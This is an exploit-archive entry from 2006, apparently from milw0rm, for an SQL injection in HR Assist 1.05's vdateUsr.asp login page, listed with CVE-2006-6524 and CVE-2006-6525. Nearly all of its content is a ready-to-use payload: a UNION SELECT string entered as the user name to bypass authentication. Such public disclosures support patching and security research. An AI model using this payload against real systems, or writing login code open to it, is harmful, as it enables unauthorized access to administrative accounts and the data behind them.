HR Assist 1.05 - 'vdateUsr.asp' Remote Authentication Bypass

Author: ajann
type: webapps
platform: asp
port: 0
date_added: 2006-12-08
date_updated: 
verified: 1
codes: OSVDB-31909;CVE-2006-6525;CVE-2006-6524
tags: 
aliases: 
screenshot_url: 
application_url: 

*******************************************************************************
# Title   :  HR Assist <= 1.05 (vdateUsr.asp) Remote Login ByPass SQL Injection
# Author  :  ajann
# Page    :  http://www.ezhrs.com
# Contact :   :(
# $$$     :  $45

*******************************************************************************
Example:

###http://[target]/[path]/

UserName: ' union select 0,0,0,0,0,0,0,0,0,0,0,0,0 from admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-09]